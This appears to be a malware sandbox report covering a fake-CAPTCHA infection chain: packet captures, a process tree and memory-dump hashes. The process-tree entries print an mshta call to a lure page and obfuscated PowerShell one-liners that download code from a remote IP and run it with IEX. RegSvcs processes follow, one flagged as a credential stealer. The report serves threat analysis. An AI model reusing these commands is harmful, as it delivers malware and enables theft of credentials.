Jan 15, 2025 10:18:38.884313107 CET	1289	IN	Data Raw: 43 4a 41 41 41 41 54 51 49 41 41 4a 77 41 41 41 43 43 41 67 41 41 75 41 41 41 41 41 55 41 41 41 43 64 41 67 41 41 51 41 41 41 41 42 6f 41 41 41 41 6d 41 51 41 41 7a 51 45 41 41 48 6b 42 41 41 41 4d 41 51 41 41 4a 51 49 41 41 47 63 43 41 41 41 34 Data Ascii: CJAAAATQIAAJwAAACCAgAAuAAAAAUAAACdAgAAQAAAABoAAAAmAQAAzQEAAHkBAAAMAQAAJQIAAGcCAAA4mAIAAAIfHmQKEQcgVxnlPlog6ErzJWErjX4BAAAEAgkW/hwBAAAbKH4BAAYRByAXY2dZWiBuyGoSYThn////KEgCAAZ+AQAABAIIKBsCAAYoVAEABqUBAAAbCxEHILR9cCJaIEI1r+5hODj///8GbhdqLggg0bDfY
Jan 15, 2025 10:18:38.884433031 CET	1289	IN	Data Raw: 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 46 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 6d 4a 67 66 67 45 41 41 41 51 43 4a 52 64 59 45 41 44 67 6b 52 38 51 59 6d 42 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 78 68 69 59 Data Ascii: BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYAwRByB0jl0OWiCgpCRYYTjj/v//fgEAAAQCCRb+HAEAABsofgEABhEHIK0RFAxaILc72TNhOL3+//8oSAIABn4BAAAEAggoGwIABihUAQAGpQEAABsLEQcg0swPhlogHwvpSmE4jv7//xEGpQEAABsLEQcgLHwLR1
Jan 15, 2025 10:18:38.884550095 CET	1289	IN	Data Raw: 45 51 77 67 42 79 37 44 54 31 6f 67 61 71 49 41 56 32 45 34 56 76 37 2f 2f 78 45 49 4b 43 45 42 41 41 59 6f 76 67 41 41 42 6f 41 44 41 41 41 45 45 51 77 67 68 5a 79 54 32 46 6f 67 32 2b 72 76 67 57 45 34 4d 76 37 2f 2f 77 6b 4a 48 77 31 6b 59 51 Data Ascii: EQwgBy7DT1ogaqIAV2E4Vv7//xEIKCEBAAYovgAABoADAAAEEQwghZyT2Fog2+rvgWE4Mv7//wkJHw1kYQ0JCR8ZYmENIA7JG8I4Gv7//xYTChEMILl3cUBaINb3SAthOAT+//8RBx8JEQcfCZUIHwmVYZ4RBx8KEQcfCpUIHwqVYZ4RBx8LEQcfC5UIHwuVYZ4RBx8MEQcfDJUIHwyVYZ4RBx8NEQcfDZUIHw2VYZ4RBx8OEQc
Jan 15, 2025 10:18:38.884617090 CET	1289	IN	Data Raw: 41 41 45 4b 68 4d 77 42 77 44 58 41 51 41 41 42 77 41 41 45 51 4e 37 43 51 41 41 42 42 38 4c 5a 41 4a 37 42 51 41 41 42 46 6f 4b 41 33 73 49 41 41 41 45 42 6b 46 33 41 51 41 41 48 45 55 42 41 41 41 41 39 76 2f 2f 2f 78 63 74 42 74 41 6a 41 41 41 Data Ascii: AAEKhMwBwDXAQAABwAAEQN7CQAABB8LZAJ7BQAABFoKA3sIAAAEBkF3AQAAHEUBAAAA9v///xctBtAjAAAGJiBsqaeFIPxTwoFhJQsfCl5FCgAAAD8BAABoAQAAw////2YAAAAFAAAABwEAAMoAAABaAAAAmwAAACcBAAA4YwEAAAMGfQkAAAQCJXsFAAAEIAAIAAACewUAAARZG2RYfQUAAAQDewkAAAQgAAAAATcSGkUBAAAA
Jan 15, 2025 10:18:39.118865967 CET	1289	IN	Data Raw: 31 61 49 43 45 6f 4d 59 78 68 4b 35 6f 57 43 78 59 4d 45 51 51 67 74 50 74 53 68 56 6f 67 39 68 6e 41 46 57 45 72 68 67 4a 37 42 67 41 41 42 41 62 67 6a 77 49 41 41 41 49 44 4b 43 4d 41 41 41 59 6c 4a 67 30 67 64 49 42 37 4f 6a 68 6d 2f 2f 2f 2f Data Ascii: 1aICEoMYxhK5oWCxYMEQQgtPtShVog9hnAFWErhgJ7BgAABAbgjwIAAAIDKCMAAAYlJg0gdIB7Ojhm////CBdYDBEEINoskJpaIKigttJhOE////8IAnsHAAAELwggNbXAeCUrBiAu4cABJSY4Mv///wcqABMwBwDQAAAACQAAERcKFgsWDDiYAAAAIF92nCIgxxIvUGElEwQdXkUHAAAAz////yIAAABKAAAABQAAAJIAAAA2A

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49769	92.255.57.120	443	6112	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:18:36 UTC	362	OUT	GET /recaptcha-verify.html HTTP/1.1 Accept: / Accept-Language: en-US,en-GB;q=0.7,en;q=0.3 UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: view-reserve.com Connection: Keep-Alive
2025-01-15 09:18:37 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:18:36 GMT Content-Type: text/html Content-Length: 31911 Last-Modified: Sun, 12 Jan 2025 14:57:08 GMT Connection: close ETag: "6783d844-7ca7" X-Content-Type-Options: nosniff Accept-Ranges: bytes
2025-01-15 09:18:37 UTC	16122	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 09 09 09 09 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2025-01-15 09:18:37 UTC	15789	IN	Data Raw: 71 53 0f 5a 43 4e 45 55 32 53 13 63 77 54 2b 53 17 7f 6d 59 7a 64 4e 4e 53 1c 4e 7c 59 71 53 75 53 20 4b 52 4e 55 53 24 78 71 58 14 4e 59 55 33 4e 5b 4f 75 4a 72 53 2c 4e 09 4f 5c 27 59 1a 62 3f 4e 63 53 34 4e 65 61 5b 70 68 53 38 4e 69 60 71 4e 6c 61 66 74 0b 53 3e 63 52 4e 71 49 23 5e 34 59 33 4e 75 57 71 54 35 5a 15 53 47 4f 75 61 7a 4f 78 4e 50 5c 5c 51 59 42 63 52 4a 1c 59 14 62 2d 4d 03 59 4a 4d 06 59 7e 4d 08 5c 5c 0f 4e 1f 60 18 4a 3c 5c 5c 1e 4d 5c 72 60 1e 4d 0f 69 37 4d 11 59 5c 5c 4c 69 59 60 4d 16 53 67 4d 19 59 68 60 35 49 30 4d 1f 58 07 53 73 59 07 53 76 61 1a 4d 25 50 5e 53 7a 4d 28 59 7a 53 7f 52 47 4f 7e 4d 2f 55 09 52 06 61 30 52 08 4d 35 52 0b 60 63 58 0c 79 51 60 67 4d 3a 58 11 4d 3c 59 0e 58 15 52 17 53 1c 60 76 52 1b 64 79 4b 1e 7f Data Ascii: qSZCNEU2ScwT+SmYzdNNSN\|YqSuS KRNUS$xqXNYU3N[OuJrS,NO\'Yb?NcS4Nea[phS8Ni`qNlaftS>cRNqI#^4Y3NuWqT5ZSGOuazOxNP\\QYBcRJYb-MYJMY~M\\N`J<\\M\r`Mi7MY\\LiY`MSgMYh`5I0MXSsYSvaM%P^SzM(YzSRGO~M/URa0RM5R`cXyQ`gM:XM<YXRS`vRdyK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49773	23.47.27.74	443	9116	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:18:41 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-15 09:18:42 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 15 Jan 2025 09:18:42 GMT Content-Length: 25929 Connection: close Set-Cookie: sessionid=d2b040e0738eb66764a685b0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C5914350094a33e2d53260db908a94a71; Path=/; Secure; HttpOnly; SameSite=None
2025-01-15 09:18:42 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-15 09:18:42 UTC	10109	IN	Data Raw: 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a 61 70 61 6e 65 73 65 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6b 6f 72 65 61 6e 61 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6b 6f 72 65 61 6e 61 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e ed 95 9c ea b5 ad ec 96 b4 20 28 4b 6f 72 65 61 6e 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 Data Ascii: ?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (Japanese)</a><a class="popup_menu_item tight" href="?l=koreana" onclick="ChangeLanguage( 'koreana' ); return false;"> (Korean)</a>
2025-01-15 09:18:42 UTC	1353	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 63 6f 6d 6d 75 6e 69 74 79 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 69 6d 61 67 65 73 2f 73 6b 69 6e 5f 31 2f 66 6f 6f 74 65 72 4c 6f 67 6f 5f 76 61 6c 76 65 2e 70 6e 67 3f 76 3d 31 22 20 77 69 64 74 68 3d 22 39 36 22 20 68 65 69 67 68 74 3d 22 32 36 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 56 61 6c 76 65 20 4c 6f 67 6f 22 20 2f 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 73 70 61 6e 20 69 64 3d 22 66 6f 6f 74 65 72 54 65 78 74 22 3e 0a 09 09 09 09 09 26 63 6f 70 79 3b 20 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 41 6c 6c 20 74 72 61 64 65 6d 61 72 6b 73 20 61 72 65 20 70 72 6f 70 Data Ascii: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1" width="96" height="26" border="0" alt="Valve Logo" /></span><span id="footerText">© Valve Corporation. All rights reserved. All trademarks are prop

Target ID:	0
Start time:	04:18:34
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1"
Imagebase:	0x7ff6c09b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:18:34
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6743c0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:18:34
Start date:	15/01/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html
Imagebase:	0x7ff7a0e80000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:18:36
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Imagebase:	0x7ff6c09b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:18:36
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6743c0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:18:36
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Imagebase:	0x7ff6c09b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:18:36
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6743c0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:18:36
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Imagebase:	0x7ff7f7b00000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:18:37
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6743c0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:18:38
Start date:	15/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x310000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:18:39
Start date:	15/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x590000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:18:39
Start date:	15/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x630000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	04:18:39
Start date:	15/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x380000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:18:39
Start date:	15/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x460000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFB4C8533B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.58262271906.00007FFB4C850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4c850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7b784197025fde0e1c1f41fb264ee87d323bcb4f61a4d527f39ad22688a8d80
Instruction ID: ce8e334a73f59ff3bab80226743fd6881376d291fdc90919fdf24cb1ac575b04
Opcode Fuzzy Hash: f7b784197025fde0e1c1f41fb264ee87d323bcb4f61a4d527f39ad22688a8d80
Instruction Fuzzy Hash: 9A01677111CB0C4FD748EF0CE451AB6B7E0FB95324F50056EE58AC3661DA36E892CB45

Analysis Process: mshta.exePID: 6112, Parent PID: 6260COMMON

Executed Functions

Function 00000250DC912F14 Relevance: .5, Instructions: 532COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278513361.00000250DC912000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC911000, based on PE: false

Associated: 00000003.00000003.58278417488.00000250DC911000.00000010.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc911000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f7e407c5c4fd50b40e8daa1cdf719444ebaf01cd8353a3d2d8824ee59912b5
Instruction ID: e07b623653329d3877965824f6b56b3a39afc9a781e3b8aec041f86d526bb52d
Opcode Fuzzy Hash: 62f7e407c5c4fd50b40e8daa1cdf719444ebaf01cd8353a3d2d8824ee59912b5
Instruction Fuzzy Hash: 5802D17110EFC51FE756DBA84C9E6A1BFE0EB5A311F0C45DED089CB1E6C5249886C349

Function 00000250DC912F14 Relevance: .5, Instructions: 532COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278513361.00000250DC912000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC912000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc911000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f7e407c5c4fd50b40e8daa1cdf719444ebaf01cd8353a3d2d8824ee59912b5
Instruction ID: e07b623653329d3877965824f6b56b3a39afc9a781e3b8aec041f86d526bb52d
Opcode Fuzzy Hash: 62f7e407c5c4fd50b40e8daa1cdf719444ebaf01cd8353a3d2d8824ee59912b5
Instruction Fuzzy Hash: 5802D17110EFC51FE756DBA84C9E6A1BFE0EB5A311F0C45DED089CB1E6C5249886C349

Function 00000250DC9103C5 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278556407.00000250DC910000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc910000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb09eb8bf04d31fe1905f2e47375c9eb19f91853170be8f4a463dbfb119630e
Instruction ID: fca6c7cabf868c2d84719d96eb91c2b5cf586b31554a8d300d9b739d803be088
Opcode Fuzzy Hash: beb09eb8bf04d31fe1905f2e47375c9eb19f91853170be8f4a463dbfb119630e
Instruction Fuzzy Hash: 0841033150EF881FE7519BECAC8A3D87FE0EB4A320F0801DBD448CB192D5299882C796

Function 00000250DC913CCE Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278513361.00000250DC912000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC911000, based on PE: false

Associated: 00000003.00000003.58278417488.00000250DC911000.00000010.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc911000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b82260e8c05f35ce7ba3a49190d040939a4df4e32004465e565059a6c021aba
Instruction ID: b9636953fd702dd91f3b19797c641d15e068b81296e972749ec6e9a5c1b062ce
Opcode Fuzzy Hash: 7b82260e8c05f35ce7ba3a49190d040939a4df4e32004465e565059a6c021aba
Instruction Fuzzy Hash: 0FE0EDD015EBC52FD38783A80C6DA606FE89B57540B5D44CAA585CB1B3C81D8A569316

Function 00000250DC913CCE Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278513361.00000250DC912000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC912000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc911000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b82260e8c05f35ce7ba3a49190d040939a4df4e32004465e565059a6c021aba
Instruction ID: b9636953fd702dd91f3b19797c641d15e068b81296e972749ec6e9a5c1b062ce
Opcode Fuzzy Hash: 7b82260e8c05f35ce7ba3a49190d040939a4df4e32004465e565059a6c021aba
Instruction Fuzzy Hash: 0FE0EDD015EBC52FD38783A80C6DA606FE89B57540B5D44CAA585CB1B3C81D8A569316

Function 00000250DC911B7A Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278417488.00000250DC911000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC911000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc911000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 988b646930e1788a5bba88ef703f341702c822c2320f592a9bb4d99de89b7c6d
Instruction ID: f9df09bf5845c34ec3388597122d0595cb45b460287dd122db9136833e832e20
Opcode Fuzzy Hash: 988b646930e1788a5bba88ef703f341702c822c2320f592a9bb4d99de89b7c6d
Instruction Fuzzy Hash: 08900265819F1667E52021F45C4E12861919B58692B1909618822D3150D82459401495

Function 00000250DC800EE1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800EE9 Relevance: .0, Instructions: 5COMMON

